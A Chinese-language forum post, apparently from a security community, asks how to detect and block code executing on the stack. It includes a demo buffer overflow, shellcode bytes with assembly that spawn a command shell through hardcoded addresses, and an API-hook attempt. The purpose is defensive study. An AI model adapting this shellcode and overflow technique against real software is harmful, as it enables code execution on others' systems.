议题提交:nickchang
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com)
一种防止缓冲区溢出的方法是使用堆栈保护,就是阻止代码在堆栈里面执行。
看书上说,可以这样实现,当某个程序启动时,hook到createprocess函数,然后得到返回地址,判断一下是不是在栈里面就可以了,但是就这么两句,说得很不详细,于是,想写个程序试一下:
这个是一个把shellcode放在栈里面执行的程序
复制内容到剪贴板
代码:
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x6D\xC6\x45\xF5\x73"
"\xC6\x45\xF6\x76\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74"
"\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD\x6C"
"\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"
"\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"
"\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xC2\x77\xFF\xD0";
void test()
{
char buf[126];
char* j;
int i;
for(i=0;i<132;i++) buf[i]=0x90; //为了到达返回地址
buf[132]=0xd4; //本机上的数组a 的地址
buf[133]=0xf5;
buf[134]=0x12;
buf[135]=0x00;
}
void CMFCBofDlg::OnOK()
{
char a[200];
int i;
for(i=0;i<125;i++) a[i]=shellcode[i];//shellcode注入数组a
a[125]='\0';
test();
}这样,test返回的时候,缓冲区回溢出,覆盖返回地址为0x0012f5d4跳转到数组a上面,执行shellcode,这个shellcode 的功能是开一个cmd窗口。
这段shellcode的汇编代码如下:
复制内容到剪贴板
代码:
_asm{
push ebp;
mov ebp,esp;
xor eax,eax;
push eax;
push eax;
push eax;
mov byte ptr[ebp-0ch], 6dh; m
mov byte ptr[ebp-0bh], 73h; s
mov byte ptr[ebp-0ah], 76h; v
mov byte ptr[ebp-09h], 63h; c
mov byte ptr[ebp-08h], 72h; r
mov byte ptr[ebp-07h], 74h; t
mov byte ptr[ebp-06h], 2eh; .
mov byte ptr[ebp-05h], 64h; d
mov byte ptr[ebp-04h], 6ch; l
mov byte ptr[ebp-03h], 6ch; l
lea eax, [ebp-0ch];
push eax;
mov eax, 0x7c801d77; //调用LoadLibrary
call eax;
mov esp,ebp;
push ebp;
mov ebp,esp;
xor edi,edi;
push edi;
sub esp,08h;
mov byte ptr[ebp-0ch],63h; c
mov byte ptr[ebp-0bh],6fh; o
mov byte ptr[ebp-0ah],6dh; m
mov byte ptr[ebp-09h],6dh; m
mov byte ptr[ebp-08h],61h; a
mov byte ptr[ebp-07h],6eh; n
mov byte ptr[ebp-06h],64h; d
mov byte ptr[ebp-05h],2eh; .
mov byte ptr[ebp-04h],63h; c
mov byte ptr[ebp-03h],6fh; o
mov byte ptr[ebp-02h],6dh; m
lea eax, [ebp-0ch];
push eax;
mov eax, 0x77c293c7; //调用system
call eax;
}如果用hook api每次hook到LoadLibrary然后用GetThreadContext得到寄存器信息判断该代码是不是在堆栈里应该可以吧?
hook api 如下:
复制内容到剪贴板
代码:
SDLLHook ProcessHook =
{
"Kernel32.DLL",
false, NULL, // Default hook disabled, NULL function pointer.
{
{"GetProcAddress", myGetProcAddress},
{"LoadLibraryW", MyLoadLibraryW},
{"LoadLibraryA", MyLoadLibraryA},,
{NULL,NULL}
}
};其他省略,就是用我自己定义的函数代替系统函数。
结果发现没有hook到,想一下才知道hook api是根据api函数的名称调换的,但是在上面的shellcode例子里面,是用地址调用函数的,所以当然是没有hook到。
mov eax, 0x7c801d77; //调用LoadLibrary,是一个地址
请问遇到这种办法应该怎么处理?还有,有没有别的好办法判断代码是否在堆栈里执行?谢谢!